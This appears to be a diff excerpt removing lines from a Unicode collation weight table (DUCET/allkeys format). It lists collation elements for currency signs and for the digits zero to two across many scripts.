-0024  ; [.1B8D.0020.0002] # DOLLAR SIGN
-FF04  ; [.1B8D.0020.0003] # FULLWIDTH DOLLAR SIGN
-FE69  ; [.1B8D.0020.000F] # SMALL DOLLAR SIGN
-00A3  ; [.1B8E.0020.0002] # POUND SIGN
-FFE1  ; [.1B8E.0020.0003] # FULLWIDTH POUND SIGN
-00A5  ; [.1B8F.0020.0002] # YEN SIGN
-FFE5  ; [.1B8F.0020.0003] # FULLWIDTH YEN SIGN
-058F  ; [.1B90.0020.0002] # ARMENIAN DRAM SIGN
-060B  ; [.1B91.0020.0002] # AFGHANI SIGN
-09F2  ; [.1B92.0020.0002] # BENGALI RUPEE MARK
-09F3  ; [.1B93.0020.0002] # BENGALI RUPEE SIGN
-09FB  ; [.1B94.0020.0002] # BENGALI GANDA MARK
-0AF1  ; [.1B95.0020.0002] # GUJARATI RUPEE SIGN
-A838  ; [.1B96.0020.0002] # NORTH INDIC RUPEE MARK
-0BF9  ; [.1B97.0020.0002] # TAMIL RUPEE SIGN
-0E3F  ; [.1B98.0020.0002] # THAI CURRENCY SYMBOL BAHT
-17DB  ; [.1B99.0020.0002] # KHMER CURRENCY SYMBOL RIEL
-20A0  ; [.1B9A.0020.0002] # EURO-CURRENCY SIGN
-20A1  ; [.1B9B.0020.0002] # COLON SIGN
-20A2  ; [.1B9C.0020.0002] # CRUZEIRO SIGN
-20A3  ; [.1B9D.0020.0002] # FRENCH FRANC SIGN
-20A4  ; [.1B9E.0020.0002] # LIRA SIGN
-20A5  ; [.1B9F.0020.0002] # MILL SIGN
-20A6  ; [.1BA0.0020.0002] # NAIRA SIGN
-20A7  ; [.1BA1.0020.0002] # PESETA SIGN
-20A9  ; [.1BA2.0020.0002] # WON SIGN
-FFE6  ; [.1BA2.0020.0003] # FULLWIDTH WON SIGN
-20AA  ; [.1BA3.0020.0002] # NEW SHEQEL SIGN
-20AB  ; [.1BA4.0020.0002] # DONG SIGN
-20AC  ; [.1BA5.0020.0002] # EURO SIGN
-20AD  ; [.1BA6.0020.0002] # KIP SIGN
-20AE  ; [.1BA7.0020.0002] # TUGRIK SIGN
-20AF  ; [.1BA8.0020.0002] # DRACHMA SIGN
-20B0  ; [.1BA9.0020.0002] # GERMAN PENNY SIGN
-20B1  ; [.1BAA.0020.0002] # PESO SIGN
-20B2  ; [.1BAB.0020.0002] # GUARANI SIGN
-20B3  ; [.1BAC.0020.0002] # AUSTRAL SIGN
-20B4  ; [.1BAD.0020.0002] # HRYVNIA SIGN
-20B5  ; [.1BAE.0020.0002] # CEDI SIGN
-20B6  ; [.1BAF.0020.0002] # LIVRE TOURNOIS SIGN
-20B7  ; [.1BB0.0020.0002] # SPESMILO SIGN
-20B8  ; [.1BB1.0020.0002] # TENGE SIGN
-20B9  ; [.1BB2.0020.0002] # INDIAN RUPEE SIGN
-20BA  ; [.1BB3.0020.0002] # TURKISH LIRA SIGN
-20BB  ; [.1BB4.0020.0002] # NORDIC MARK SIGN
-20BC  ; [.1BB5.0020.0002] # MANAT SIGN
-20BD  ; [.1BB6.0020.0002] # RUBLE SIGN
-20BE  ; [.1BB7.0020.0002] # LARI SIGN
-0030  ; [.1BB8.0020.0002] # DIGIT ZERO
-0660  ; [.1BB8.0020.0002] # ARABIC-INDIC DIGIT ZERO
-06F0  ; [.1BB8.0020.0002] # EXTENDED ARABIC-INDIC DIGIT ZERO
-07C0  ; [.1BB8.0020.0002] # NKO DIGIT ZERO
-0966  ; [.1BB8.0020.0002] # DEVANAGARI DIGIT ZERO
-09E6  ; [.1BB8.0020.0002] # BENGALI DIGIT ZERO
-0A66  ; [.1BB8.0020.0002] # GURMUKHI DIGIT ZERO
-0AE6  ; [.1BB8.0020.0002] # GUJARATI DIGIT ZERO
-0B66  ; [.1BB8.0020.0002] # ORIYA DIGIT ZERO
-0BE6  ; [.1BB8.0020.0002] # TAMIL DIGIT ZERO
-0C66  ; [.1BB8.0020.0002] # TELUGU DIGIT ZERO
-0C78  ; [.1BB8.0020.0002] # TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR
-0CE6  ; [.1BB8.0020.0002] # KANNADA DIGIT ZERO
-0D66  ; [.1BB8.0020.0002] # MALAYALAM DIGIT ZERO
-0DE6  ; [.1BB8.0020.0002] # SINHALA LITH DIGIT ZERO
-0E50  ; [.1BB8.0020.0002] # THAI DIGIT ZERO
-0ED0  ; [.1BB8.0020.0002] # LAO DIGIT ZERO
-0F20  ; [.1BB8.0020.0002] # TIBETAN DIGIT ZERO
-1040  ; [.1BB8.0020.0002] # MYANMAR DIGIT ZERO
-1090  ; [.1BB8.0020.0002] # MYANMAR SHAN DIGIT ZERO
-17E0  ; [.1BB8.0020.0002] # KHMER DIGIT ZERO
-17F0  ; [.1BB8.0020.0002] # KHMER SYMBOL LEK ATTAK SON
-1810  ; [.1BB8.0020.0002] # MONGOLIAN DIGIT ZERO
-1946  ; [.1BB8.0020.0002] # LIMBU DIGIT ZERO
-19D0  ; [.1BB8.0020.0002] # NEW TAI LUE DIGIT ZERO
-1A80  ; [.1BB8.0020.0002] # TAI THAM HORA DIGIT ZERO
-1A90  ; [.1BB8.0020.0002] # TAI THAM THAM DIGIT ZERO
-1B50  ; [.1BB8.0020.0002] # BALINESE DIGIT ZERO
-1BB0  ; [.1BB8.0020.0002] # SUNDANESE DIGIT ZERO
-1C40  ; [.1BB8.0020.0002] # LEPCHA DIGIT ZERO
-1C50  ; [.1BB8.0020.0002] # OL CHIKI DIGIT ZERO
-3007  ; [.1BB8.0020.0002] # IDEOGRAPHIC NUMBER ZERO
-A620  ; [.1BB8.0020.0002] # VAI DIGIT ZERO
-A8D0  ; [.1BB8.0020.0002] # SAURASHTRA DIGIT ZERO
-A900  ; [.1BB8.0020.0002] # KAYAH LI DIGIT ZERO
-A9D0  ; [.1BB8.0020.0002] # JAVANESE DIGIT ZERO
-A9F0  ; [.1BB8.0020.0002] # MYANMAR TAI LAING DIGIT ZERO
-AA50  ; [.1BB8.0020.0002] # CHAM DIGIT ZERO
-ABF0  ; [.1BB8.0020.0002] # MEETEI MAYEK DIGIT ZERO
-1018A ; [.1BB8.0020.0002] # GREEK ZERO SIGN
-104A0 ; [.1BB8.0020.0002] # OSMANYA DIGIT ZERO
-11066 ; [.1BB8.0020.0002] # BRAHMI DIGIT ZERO
-110F0 ; [.1BB8.0020.0002] # SORA SOMPENG DIGIT ZERO
-11136 ; [.1BB8.0020.0002] # CHAKMA DIGIT ZERO
-111D0 ; [.1BB8.0020.0002] # SHARADA DIGIT ZERO
-112F0 ; [.1BB8.0020.0002] # KHUDAWADI DIGIT ZERO
-114D0 ; [.1BB8.0020.0002] # TIRHUTA DIGIT ZERO
-11650 ; [.1BB8.0020.0002] # MODI DIGIT ZERO
-116C0 ; [.1BB8.0020.0002] # TAKRI DIGIT ZERO
-11730 ; [.1BB8.0020.0002] # AHOM DIGIT ZERO
-118E0 ; [.1BB8.0020.0002] # WARANG CITI DIGIT ZERO
-16A60 ; [.1BB8.0020.0002] # MRO DIGIT ZERO
-16B50 ; [.1BB8.0020.0002] # PAHAWH HMONG DIGIT ZERO
-FF10  ; [.1BB8.0020.0003] # FULLWIDTH DIGIT ZERO
-0F33  ; [.1BB8.0020.0004] # TIBETAN DIGIT HALF ZERO
-1F100 ; [.1BB8.0020.0004][*0274.0020.0004] # DIGIT ZERO FULL STOP
-1F101 ; [.1BB8.0020.0004][*0221.0020.0004] # DIGIT ZERO COMMA
-1D7CE ; [.1BB8.0020.0005] # MATHEMATICAL BOLD DIGIT ZERO
-1D7D8 ; [.1BB8.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT ZERO
-1D7E2 ; [.1BB8.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT ZERO
-1D7EC ; [.1BB8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT ZERO
-1D7F6 ; [.1BB8.0020.0005] # MATHEMATICAL MONOSPACE DIGIT ZERO
-24EA  ; [.1BB8.0020.0006] # CIRCLED DIGIT ZERO
-24FF  ; [.1BB8.0020.0006] # NEGATIVE CIRCLED DIGIT ZERO
-1F10B ; [.1BB8.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT ZERO
-1F10C ; [.1BB8.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO
-2070  ; [.1BB8.0020.0014] # SUPERSCRIPT ZERO
-2080  ; [.1BB8.0020.0015] # SUBSCRIPT ZERO
-2189  ; [.1BB8.0020.001E][*0606.0020.001E][.1BBB.0020.001E] # VULGAR FRACTION ZERO THIRDS
-3358  ; [.1BB8.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO
-0031  ; [.1BB9.0020.0002] # DIGIT ONE
-0661  ; [.1BB9.0020.0002] # ARABIC-INDIC DIGIT ONE
-06F1  ; [.1BB9.0020.0002] # EXTENDED ARABIC-INDIC DIGIT ONE
-07C1  ; [.1BB9.0020.0002] # NKO DIGIT ONE
-0967  ; [.1BB9.0020.0002] # DEVANAGARI DIGIT ONE
-09E7  ; [.1BB9.0020.0002] # BENGALI DIGIT ONE
-0A67  ; [.1BB9.0020.0002] # GURMUKHI DIGIT ONE
-0AE7  ; [.1BB9.0020.0002] # GUJARATI DIGIT ONE
-0B67  ; [.1BB9.0020.0002] # ORIYA DIGIT ONE
-0BE7  ; [.1BB9.0020.0002] # TAMIL DIGIT ONE
-0C67  ; [.1BB9.0020.0002] # TELUGU DIGIT ONE
-0C79  ; [.1BB9.0020.0002] # TELUGU FRACTION DIGIT ONE FOR ODD POWERS OF FOUR
-0C7C  ; [.1BB9.0020.0002] # TELUGU FRACTION DIGIT ONE FOR EVEN POWERS OF FOUR
-0CE7  ; [.1BB9.0020.0002] # KANNADA DIGIT ONE
-0D67  ; [.1BB9.0020.0002] # MALAYALAM DIGIT ONE
-0DE7  ; [.1BB9.0020.0002] # SINHALA LITH DIGIT ONE
-0E51  ; [.1BB9.0020.0002] # THAI DIGIT ONE
-0ED1  ; [.1BB9.0020.0002] # LAO DIGIT ONE
-0F21  ; [.1BB9.0020.0002] # TIBETAN DIGIT ONE
-1041  ; [.1BB9.0020.0002] # MYANMAR DIGIT ONE
-1091  ; [.1BB9.0020.0002] # MYANMAR SHAN DIGIT ONE
-1369  ; [.1BB9.0020.0002] # ETHIOPIC DIGIT ONE
-17E1  ; [.1BB9.0020.0002] # KHMER DIGIT ONE
-17F1  ; [.1BB9.0020.0002] # KHMER SYMBOL LEK ATTAK MUOY
-1811  ; [.1BB9.0020.0002] # MONGOLIAN DIGIT ONE
-1947  ; [.1BB9.0020.0002] # LIMBU DIGIT ONE
-19D1  ; [.1BB9.0020.0002] # NEW TAI LUE DIGIT ONE
-19DA  ; [.1BB9.0020.0002] # NEW TAI LUE THAM DIGIT ONE
-1A81  ; [.1BB9.0020.0002] # TAI THAM HORA DIGIT ONE
-1A91  ; [.1BB9.0020.0002] # TAI THAM THAM DIGIT ONE
-1B51  ; [.1BB9.0020.0002] # BALINESE DIGIT ONE
-1BB1  ; [.1BB9.0020.0002] # SUNDANESE DIGIT ONE
-1C41  ; [.1BB9.0020.0002] # LEPCHA DIGIT ONE
-1C51  ; [.1BB9.0020.0002] # OL CHIKI DIGIT ONE
-3021  ; [.1BB9.0020.0002] # HANGZHOU NUMERAL ONE
-A621  ; [.1BB9.0020.0002] # VAI DIGIT ONE
-A8D1  ; [.1BB9.0020.0002] # SAURASHTRA DIGIT ONE
-A901  ; [.1BB9.0020.0002] # KAYAH LI DIGIT ONE
-A9D1  ; [.1BB9.0020.0002] # JAVANESE DIGIT ONE
-A9F1  ; [.1BB9.0020.0002] # MYANMAR TAI LAING DIGIT ONE
-AA51  ; [.1BB9.0020.0002] # CHAM DIGIT ONE
-ABF1  ; [.1BB9.0020.0002] # MEETEI MAYEK DIGIT ONE
-10107 ; [.1BB9.0020.0002] # AEGEAN NUMBER ONE
-10142 ; [.1BB9.0020.0002] # GREEK ACROPHONIC ATTIC ONE DRACHMA
-10158 ; [.1BB9.0020.0002] # GREEK ACROPHONIC HERAEUM ONE PLETHRON
-10159 ; [.1BB9.0020.0002] # GREEK ACROPHONIC THESPIAN ONE
-1015A ; [.1BB9.0020.0002] # GREEK ACROPHONIC HERMIONIAN ONE
-102E1 ; [.1BB9.0020.0002] # COPTIC EPACT DIGIT ONE
-10320 ; [.1BB9.0020.0002] # OLD ITALIC NUMERAL ONE
-103D1 ; [.1BB9.0020.0002] # OLD PERSIAN NUMBER ONE
-104A1 ; [.1BB9.0020.0002] # OSMANYA DIGIT ONE
-10858 ; [.1BB9.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE
-10879 ; [.1BB9.0020.0002] # PALMYRENE NUMBER ONE
-108A7 ; [.1BB9.0020.0002] # NABATAEAN NUMBER ONE
-108FB ; [.1BB9.0020.0002] # HATRAN NUMBER ONE
-10916 ; [.1BB9.0020.0002] # PHOENICIAN NUMBER ONE
-109C0 ; [.1BB9.0020.0002] # MEROITIC CURSIVE NUMBER ONE
-10A40 ; [.1BB9.0020.0002] # KHAROSHTHI DIGIT ONE
-10A7D ; [.1BB9.0020.0002] # OLD SOUTH ARABIAN NUMBER ONE
-10A9D ; [.1BB9.0020.0002] # OLD NORTH ARABIAN NUMBER ONE
-10AEB ; [.1BB9.0020.0002] # MANICHAEAN NUMBER ONE
-10B58 ; [.1BB9.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER ONE
-10B78 ; [.1BB9.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER ONE
-10BA9 ; [.1BB9.0020.0002] # PSALTER PAHLAVI NUMBER ONE
-10CFA ; [.1BB9.0020.0002] # OLD HUNGARIAN NUMBER ONE
-10E60 ; [.1BB9.0020.0002] # RUMI DIGIT ONE
-11052 ; [.1BB9.0020.0002] # BRAHMI NUMBER ONE
-11067 ; [.1BB9.0020.0002] # BRAHMI DIGIT ONE
-110F1 ; [.1BB9.0020.0002] # SORA SOMPENG DIGIT ONE
-11137 ; [.1BB9.0020.0002] # CHAKMA DIGIT ONE
-111D1 ; [.1BB9.0020.0002] # SHARADA DIGIT ONE
-111E1 ; [.1BB9.0020.0002] # SINHALA ARCHAIC DIGIT ONE
-112F1 ; [.1BB9.0020.0002] # KHUDAWADI DIGIT ONE
-114D1 ; [.1BB9.0020.0002] # TIRHUTA DIGIT ONE
-11651 ; [.1BB9.0020.0002] # MODI DIGIT ONE
-116C1 ; [.1BB9.0020.0002] # TAKRI DIGIT ONE
-11731 ; [.1BB9.0020.0002] # AHOM DIGIT ONE
-118E1 ; [.1BB9.0020.0002] # WARANG CITI DIGIT ONE
-12415 ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE GESH2
-1241E ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE GESHU
-1242C ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE SHARU
-12434 ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE BURU
-1244F ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE BAN2
-12458 ; [.1BB9.0020.0002] # CUNEIFORM NUMERIC SIGN ONE ESHE3
-16A61 ; [.1BB9.0020.0002] # MRO DIGIT ONE
-16B51 ; [.1BB9.0020.0002] # PAHAWH HMONG DIGIT ONE
-1D360 ; [.1BB9.0020.0002] # COUNTING ROD UNIT DIGIT ONE
-1E8C7 ; [.1BB9.0020.0002] # MENDE KIKAKUI DIGIT ONE
-FF11  ; [.1BB9.0020.0003] # FULLWIDTH DIGIT ONE
-0F2A  ; [.1BB9.0020.0004] # TIBETAN DIGIT HALF ONE
-2474  ; [*0310.0020.0004][.1BB9.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT ONE
-2488  ; [.1BB9.0020.0004][*0274.0020.0004] # DIGIT ONE FULL STOP
-1F102 ; [.1BB9.0020.0004][*0221.0020.0004] # DIGIT ONE COMMA
-1D7CF ; [.1BB9.0020.0005] # MATHEMATICAL BOLD DIGIT ONE
-1D7D9 ; [.1BB9.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT ONE
-1D7E3 ; [.1BB9.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT ONE
-1D7ED ; [.1BB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT ONE
-1D7F7 ; [.1BB9.0020.0005] # MATHEMATICAL MONOSPACE DIGIT ONE
-2460  ; [.1BB9.0020.0006] # CIRCLED DIGIT ONE
-24F5  ; [.1BB9.0020.0006] # DOUBLE CIRCLED DIGIT ONE
-2776  ; [.1BB9.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT ONE
-2780  ; [.1BB9.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT ONE
-278A  ; [.1BB9.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ONE
-00B9  ; [.1BB9.0020.0014] # SUPERSCRIPT ONE
-2081  ; [.1BB9.0020.0015] # SUBSCRIPT ONE
-215F  ; [.1BB9.0020.001E][*0606.0020.001E] # FRACTION NUMERATOR ONE
-247D  ; [*0310.0020.0004][.1BB9.0020.0004][.1BB8.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER TEN
-2491  ; [.1BB9.0020.0004][.1BB8.0020.0004][*0274.0020.0004] # NUMBER TEN FULL STOP
-2469  ; [.1BB9.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER TEN
-24FE  ; [.1BB9.0020.0006][.1BB8.0020.0006] # DOUBLE CIRCLED NUMBER TEN
-277F  ; [.1BB9.0020.0006][.1BB8.0020.0006] # DINGBAT NEGATIVE CIRCLED NUMBER TEN
-2789  ; [.1BB9.0020.0006][.1BB8.0020.0006] # DINGBAT CIRCLED SANS-SERIF NUMBER TEN
-2793  ; [.1BB9.0020.0006][.1BB8.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN
-3248  ; [.1BB9.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER TEN ON BLACK SQUARE
-33E9  ; [.1BB9.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN
-32C9  ; [.1BB9.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER
-3362  ; [.1BB9.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN
-247E  ; [*0310.0020.0004][.1BB9.0020.0004][.1BB9.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER ELEVEN
-2492  ; [.1BB9.0020.0004][.1BB9.0020.0004][*0274.0020.0004] # NUMBER ELEVEN FULL STOP
-246A  ; [.1BB9.0020.0006][.1BB9.0020.0006] # CIRCLED NUMBER ELEVEN
-24EB  ; [.1BB9.0020.0006][.1BB9.0020.0006] # NEGATIVE CIRCLED NUMBER ELEVEN
-2152  ; [.1BB9.0020.001E][*0606.0020.001E][.1BB9.0020.001E][.1BB8.0020.001E] # VULGAR FRACTION ONE TENTH
-33EA  ; [.1BB9.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN
-32CA  ; [.1BB9.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER
-3363  ; [.1BB9.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN
-247F  ; [*0310.0020.0004][.1BB9.0020.0004][.1BBA.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER TWELVE
-2493  ; [.1BB9.0020.0004][.1BBA.0020.0004][*0274.0020.0004] # NUMBER TWELVE FULL STOP
-246B  ; [.1BB9.0020.0006][.1BBA.0020.0006] # CIRCLED NUMBER TWELVE
-24EC  ; [.1BB9.0020.0006][.1BBA.0020.0006] # NEGATIVE CIRCLED NUMBER TWELVE
-00BD  ; [.1BB9.0020.001E][*0606.0020.001E][.1BBA.0020.001E] # VULGAR FRACTION ONE HALF
-33EB  ; [.1BB9.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE
-32CB  ; [.1BB9.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER
-3364  ; [.1BB9.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE
-2480  ; [*0310.0020.0004][.1BB9.0020.0004][.1BBB.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER THIRTEEN
-2494  ; [.1BB9.0020.0004][.1BBB.0020.0004][*0274.0020.0004] # NUMBER THIRTEEN FULL STOP
-246C  ; [.1BB9.0020.0006][.1BBB.0020.0006] # CIRCLED NUMBER THIRTEEN
-24ED  ; [.1BB9.0020.0006][.1BBB.0020.0006] # NEGATIVE CIRCLED NUMBER THIRTEEN
-2153  ; [.1BB9.0020.001E][*0606.0020.001E][.1BBB.0020.001E] # VULGAR FRACTION ONE THIRD
-33EC  ; [.1BB9.0020.0004][.1BBB.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN
-3365  ; [.1BB9.0020.0004][.1BBB.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN
-2481  ; [*0310.0020.0004][.1BB9.0020.0004][.1BBC.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER FOURTEEN
-2495  ; [.1BB9.0020.0004][.1BBC.0020.0004][*0274.0020.0004] # NUMBER FOURTEEN FULL STOP
-246D  ; [.1BB9.0020.0006][.1BBC.0020.0006] # CIRCLED NUMBER FOURTEEN
-24EE  ; [.1BB9.0020.0006][.1BBC.0020.0006] # NEGATIVE CIRCLED NUMBER FOURTEEN
-00BC  ; [.1BB9.0020.001E][*0606.0020.001E][.1BBC.0020.001E] # VULGAR FRACTION ONE QUARTER
-33ED  ; [.1BB9.0020.0004][.1BBC.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN
-3366  ; [.1BB9.0020.0004][.1BBC.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN
-2482  ; [*0310.0020.0004][.1BB9.0020.0004][.1BBD.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER FIFTEEN
-2496  ; [.1BB9.0020.0004][.1BBD.0020.0004][*0274.0020.0004] # NUMBER FIFTEEN FULL STOP
-246E  ; [.1BB9.0020.0006][.1BBD.0020.0006] # CIRCLED NUMBER FIFTEEN
-24EF  ; [.1BB9.0020.0006][.1BBD.0020.0006] # NEGATIVE CIRCLED NUMBER FIFTEEN
-2155  ; [.1BB9.0020.001E][*0606.0020.001E][.1BBD.0020.001E] # VULGAR FRACTION ONE FIFTH
-33EE  ; [.1BB9.0020.0004][.1BBD.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN
-3367  ; [.1BB9.0020.0004][.1BBD.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN
-2483  ; [*0310.0020.0004][.1BB9.0020.0004][.1BBE.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER SIXTEEN
-2497  ; [.1BB9.0020.0004][.1BBE.0020.0004][*0274.0020.0004] # NUMBER SIXTEEN FULL STOP
-246F  ; [.1BB9.0020.0006][.1BBE.0020.0006] # CIRCLED NUMBER SIXTEEN
-24F0  ; [.1BB9.0020.0006][.1BBE.0020.0006] # NEGATIVE CIRCLED NUMBER SIXTEEN
-2159  ; [.1BB9.0020.001E][*0606.0020.001E][.1BBE.0020.001E] # VULGAR FRACTION ONE SIXTH
-33EF  ; [.1BB9.0020.0004][.1BBE.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN
-3368  ; [.1BB9.0020.0004][.1BBE.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN
-2484  ; [*0310.0020.0004][.1BB9.0020.0004][.1BBF.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER SEVENTEEN
-2498  ; [.1BB9.0020.0004][.1BBF.0020.0004][*0274.0020.0004] # NUMBER SEVENTEEN FULL STOP
-2470  ; [.1BB9.0020.0006][.1BBF.0020.0006] # CIRCLED NUMBER SEVENTEEN
-24F1  ; [.1BB9.0020.0006][.1BBF.0020.0006] # NEGATIVE CIRCLED NUMBER SEVENTEEN
-2150  ; [.1BB9.0020.001E][*0606.0020.001E][.1BBF.0020.001E] # VULGAR FRACTION ONE SEVENTH
-33F0  ; [.1BB9.0020.0004][.1BBF.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN
-3369  ; [.1BB9.0020.0004][.1BBF.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN
-2485  ; [*0310.0020.0004][.1BB9.0020.0004][.1BC0.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER EIGHTEEN
-2499  ; [.1BB9.0020.0004][.1BC0.0020.0004][*0274.0020.0004] # NUMBER EIGHTEEN FULL STOP
-2471  ; [.1BB9.0020.0006][.1BC0.0020.0006] # CIRCLED NUMBER EIGHTEEN
-24F2  ; [.1BB9.0020.0006][.1BC0.0020.0006] # NEGATIVE CIRCLED NUMBER EIGHTEEN
-215B  ; [.1BB9.0020.001E][*0606.0020.001E][.1BC0.0020.001E] # VULGAR FRACTION ONE EIGHTH
-33F1  ; [.1BB9.0020.0004][.1BC0.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN
-336A  ; [.1BB9.0020.0004][.1BC0.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN
-2486  ; [*0310.0020.0004][.1BB9.0020.0004][.1BC1.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER NINETEEN
-249A  ; [.1BB9.0020.0004][.1BC1.0020.0004][*0274.0020.0004] # NUMBER NINETEEN FULL STOP
-2472  ; [.1BB9.0020.0006][.1BC1.0020.0006] # CIRCLED NUMBER NINETEEN
-24F3  ; [.1BB9.0020.0006][.1BC1.0020.0006] # NEGATIVE CIRCLED NUMBER NINETEEN
-2151  ; [.1BB9.0020.001E][*0606.0020.001E][.1BC1.0020.001E] # VULGAR FRACTION ONE NINTH
-33F2  ; [.1BB9.0020.0004][.1BC1.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN
-336B  ; [.1BB9.0020.0004][.1BC1.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN
-33E0  ; [.1BB9.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE
-32C0  ; [.1BB9.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY
-3359  ; [.1BB9.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE
-0032  ; [.1BBA.0020.0002] # DIGIT TWO
-0662  ; [.1BBA.0020.0002] # ARABIC-INDIC DIGIT TWO
-06F2  ; [.1BBA.0020.0002] # EXTENDED ARABIC-INDIC DIGIT TWO
-07C2  ; [.1BBA.0020.0002] # NKO DIGIT TWO
-0968  ; [.1BBA.0020.0002] # DEVANAGARI DIGIT TWO
-09E8  ; [.1BBA.0020.0002] # BENGALI DIGIT TWO
-0A68  ; [.1BBA.0020.0002] # GURMUKHI DIGIT TWO
-0AE8  ; [.1BBA.0020.0002] # GUJARATI DIGIT TWO
-0B68  ; [.1BBA.0020.0002] # ORIYA DIGIT TWO
-0BE8  ; [.1BBA.0020.0002] # TAMIL DIGIT TWO
-0C68  ; [.1BBA.0020.0002] # TELUGU DIGIT TWO
-0C7A  ; [.1BBA.0020.0002] # TELUGU FRACTION DIGIT TWO FOR ODD POWERS OF FOUR
-0C7D  ; [.1BBA.0020.0002] # TELUGU FRACTION DIGIT TWO FOR EVEN POWERS OF FOUR
-0CE8  ; [.1BBA.0020.0002] # KANNADA DIGIT TWO
-0D68  ; [.1BBA.0020.0002] # MALAYALAM DIGIT TWO
-0DE8  ; [.1BBA.0020.0002] # SINHALA LITH DIGIT TWO
-0E52  ; [.1BBA.0020.0002] # THAI DIGIT TWO
-0ED2  ; [.1BBA.0020.0002] # LAO DIGIT TWO
